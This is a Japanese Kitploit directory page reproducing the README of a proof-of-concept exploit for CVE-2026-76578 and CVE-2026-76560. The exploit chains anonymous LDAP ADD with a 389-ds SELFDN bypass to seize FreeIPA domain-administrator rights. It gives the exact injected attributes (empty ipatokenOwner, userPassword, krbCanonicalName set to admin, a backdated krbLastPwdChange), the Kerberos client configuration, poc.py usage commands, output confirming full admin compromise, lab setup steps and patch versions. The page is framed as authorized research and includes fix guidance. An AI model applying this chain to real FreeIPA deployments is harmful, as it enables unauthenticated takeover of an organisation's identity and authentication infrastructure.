Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-76578 — CVE-2026-76578 および CVE-2026-76560 の概念実証エクスプロイト。匿名 LDAP ADD と 389-ds の SELFDN バイパスを連鎖させて FreeIPA ドメイン管理者権限を取得する。 | Kitploit
ツール/GitHubGitHub/brainbob/cve-2026-76578
ID管理脆弱性分析エクスプロイトペネトレーションテスト認証論文と研究レッドチーミングラボと実践
GitHubbrainbob/cve-2026-76578

CVE-2026-76578

CVE-2026-76578 および CVE-2026-76560 の概念実証エクスプロイト。匿名 LDAP ADD と 389-ds の SELFDN バイパスを連鎖させて FreeIPA ドメイン管理者権限を取得する。

リポジトリを見る
1日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-76578 — FreeIPA 匿名管理者乗っ取り

製品: FreeIPA 4.9.x – 4.13.3
深刻度: 重大 (CVSS 9.8)
修正済み: FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el10_2 (RHSA-2026:64785)


法的通知

この概念実証は、認可されたセキュリティ研究および脆弱性検証を目的として、 隔離された私有のラボ環境内でのみ開発および実行されました。

このスクリプトを使用する前に:

  • 自身が所有するシステム、または明示的にテストを許可されたシステムに対してのみ使用してください
  • 実行前に、対象環境とスコープがエンゲージメントの規則に一致することを確認してください

作者は誤用に対する一切の責任を負いません。このコードは 防御的研究および認可されたペネトレーションテスト専用として提供されます。

ポータビリティに関する注意: このスクリプトは、以下のテスト環境セクションに 記載された特定のパッケージバージョンに対して検証されています。他の OS バージョン、 パッチレベル、または非デフォルトの FreeIPA 構成では動作が異なる場合があります。 本番環境のターゲットについて結論を下す前に、必ず管理された環境で結果を 独立して検証してください。


テスト環境

パラメータ値
OSFedora 44 (x86_64)
FreeIPAfreeipa-server-4.13.1-9.fc44
389-ds-base389-ds-base-3.2.0-15.fc44
MIT Kerberoskrb5-libs-1.21.x
レルムTEST.LOCAL
ドメインtest.local
サーバー IP192.168.1.11
ホスト名ipa-master.test.local
攻撃ホストKali Linux (外部、ドメインメンバーシップなし)

脆弱性の概要

未認証の LDAP クライアントが cn=otp の下に OTP トークンエントリを追加し、 FreeIPA ドメイン管理者の完全な権限を取得できます。2 つの欠陥が組み合わさります:

CVE-2026-76578 (FreeIPA) — OTP ADD ACI に targetattr 制限がないため、 匿名 ADD で任意の属性を含めることができます: krbPrincipalAux、krbCanonicalName、 userPassword、krbLastPwdChange など。

CVE-2026-76560 (389-ds-base) — SELFDN 評価器が "" (空文字列) を 匿名バインド DN に一致すると見なし、ipatokenOwner#SELFDN の所有権チェックを バイパスします。

ゼロクレデンシャルでの鍵生成

重要な洞察 — 事前にキャプチャした blob も、マスターキーへのアクセスも不要:

エントリに objectClass: inetOrgPerson + userPassword を追加すると、 389-DS ipapwd プラグインがトリガーされ、サーバー側で krbPrincipalKey が 自動生成され、ターゲットレルムの krbMKey で暗号化されます。攻撃者は平文の パスワードを提供するだけで、サーバーが内部的に Kerberos 鍵を導出します。

同じ ADD で krbLastPwdChange: 20200101000000Z (過去の日付) を設定すると、 kinit が成功する前にインタラクティブなパスワード変更を要求する krbMinPwdLife ポリシーをバイパスします。


CVE

CVEコンポーネント説明
CVE-2026-76578FreeIPAOTP ACI に targetattr がない — 匿名 ADD で任意の属性が通過
CVE-2026-76560389-ds-baseSELFDN 評価器が "" を匿名バインド DN として受け入れる

攻撃チェーン

root@kitploit:~
Anonymous LDAP ADD (port 389, zero credentials)
  ipatokenOwner: ""              ← CVE-2026-76560: SELFDN "" == anonymous DN
  objectClass: inetOrgPerson     ← enables userPassword attribute
  userPassword: PwnedPass1!      ← CVE-2026-76578: no targetattr restriction
  krbCanonicalName: admin@REALM  ← not in kerberos uniqueness plugin for cn=otp
  krbLastPwdChange: 20200101     ← bypass krbMinPwdLife policy
        ↓
  389-DS ipapwd: userPassword → krbPrincipalKey (server-side, target's krbMKey)
        ↓
kinit attacker@REALM → TGT: Default principal: admin@REALM
        ↓
GSSAPI bind → dn: uid=admin,cn=users,cn=accounts,…
        ↓
uid=admin ∈ cn=admins → full domain administrator

影響を受けるバージョン


要件

root@kitploit:~
apt install python3-ldap krb5-user ldap-utils libsasl2-modules-gssapi-mit

/etc/hosts:

root@kitploit:~
<target-ip>  ipa-master.test.local

/etc/krb5.conf — レベル 3 には canonicalize = true が必要:

root@kitploit:~
[libdefaults]
    default_realm = TEST.LOCAL
    canonicalize = true
    forwardable = true
    rdns = false

[realms]
    TEST.LOCAL = {
        kdc = ipa-master.test.local
    }

[domain_realm]
    .test.local = TEST.LOCAL
    test.local = TEST.LOCAL

使用方法

root@kitploit:~
python3 poc.py <target_ip> <ipa_hostname> <REALM>

# Test lab:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL

# Other lab:
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL

結果

root@kitploit:~
── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───
  [+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
  [+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
  [+] TGT obtained — LEVEL 1 CONFIRMED
      Default principal: [email protected]

── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
  [+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
  [+] LEVEL 2 CONFIRMED

── TEST 3: krbCanonicalName=admin collision ──────────────────────────
  [+] ADD with [email protected] succeeded
  [+] TGT obtained — ticket claims principal: [email protected]
  [+] TGT cname is admin — LEVEL 3 CONFIRMED
  [+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
  [+] uid=admin is member of cn=admins — real admin rights confirmed

════════════════════════════════════════════════════════════
  CVE-2026-76578 — Result Summary
════════════════════════════════════════════════════════════
  Level 1 — Server-side krbPrincipalKey + TGT    [✓] CONFIRMED
  Level 2 — GSSAPI LDAP / Kerberos auth          [✓] CONFIRMED
  Level 3 — Real admin group membership           [✓] CONFIRMED

  Full zero-credential compromise chain reproduced.
  No pre-captured blob required.
════════════════════════════════════════════════════════════

技術的な注意事項

krbPrincipalKey を直接ではなく userPassword を使う理由

krbPrincipalKey はターゲットの krbMKey (マスターキー) で暗号化されています。 マスターキーは LDAP の cn=REALM,cn=kerberos に保存されており、Directory Manager のみが読み取り可能です — 匿名でも、GSSAPI 経由の uid=admin でもありません。

krbPrincipalKey を直接注入することはマスターキーなしでは不可能です。 userPassword を注入すると、鍵生成がサーバーの ipapwd プラグインに委譲され、 このプラグインは krbMKey への内部アクセスを持ち、透過的に暗号化を実行します。 ACI (CVE-2026-76578) は targetattr チェックなしで userPassword を通過させます。

krbCanonicalName の衝突が機能する理由

kerberos uniqueness プラグインは、サフィックス全体にわたって krbPrincipalName と krbPrincipalAlias の一意性を強制しますが、krbCanonicalName には 強制しません。cn=otp 内の krbCanonicalName: admin@REALM を持つ新しい エントリは、実際の admin プリンシパルと競合しません。

クライアントで canonicalize = true を設定すると、kinit attacker@REALM は krbPrincipalName でエントリを取得しますが、KDC は cname = krbCanonicalName = admin@REALM で TGT を発行します。GSSAPI はこれを 実際の uid=admin DN に解決します — これはすでに cn=admins の正当な メンバーです。グループの変更は行われません。

krbMinPwdLife のバイパス

userPassword が追加されると、ipapwd は krbPasswordExpiration を現在時刻 (期限切れ) に、krbLastPwdChange を現在時刻に設定します。デフォルトの krbMinPwdLife = 3600s では、kinit は TGT を発行する前にパスワード変更を 要求します。

元の ADD で krbLastPwdChange: 20200101000000Z を設定すると、プラグインの値が 6 年前に上書きされ、最小有効期間チェックを満たします。 krbPasswordExpiration: 20990101000000Z は有効期限切れプロンプトを防ぎます。 OTP ACI に targetattr 制限がないため、両方の属性が受け入れられます。


ラボのセットアップ

脆弱な FreeIPA インスタンスを新しい VM にデプロイするには:

root@kitploit:~
# On Fedora 44 / RHEL 9-10 VM (needs root, 4GB RAM, 20GB disk)
bash setup_lab.sh [REALM] [DOMAIN] [HOSTNAME] [PASSWORD]

# Default:
bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123

修正

root@kitploit:~
dnf update freeipa-server   # → 4.13.4
dnf update 389-ds-base      # → 3.2.0-10.el10_2 (RHEL 10)

FreeIPA 4.13.4 は OTP ACI に明示的な targetattr 許可リストを追加し、 userPassword、krbPrincipalAux、krbPrincipalKey、および krbCanonicalName の匿名注入をブロックします。

389-ds-base 3.2.0-10.el10_2 は SELFDN 評価器を修正し、匿名バインドに対して "" を一致する DN として拒否します。

両方の修正が独立して必要です — どちらか一方だけでは攻撃対象領域を 縮小しますが、排除はできません。

ツールをダウンロード
コンポーネント脆弱修正済み
FreeIPA4.9.x – 4.13.34.13.4
389-ds-base (RHEL 10)< 3.2.0-10.el10_23.2.0-10.el10_2 (RHSA-2026:64785)
389-ds-base (RHEL 9)< patched build対応するアドバイザリを参照
389-ds-base (Fedora 44)3.2.0-15.fc44テスト時点で未修正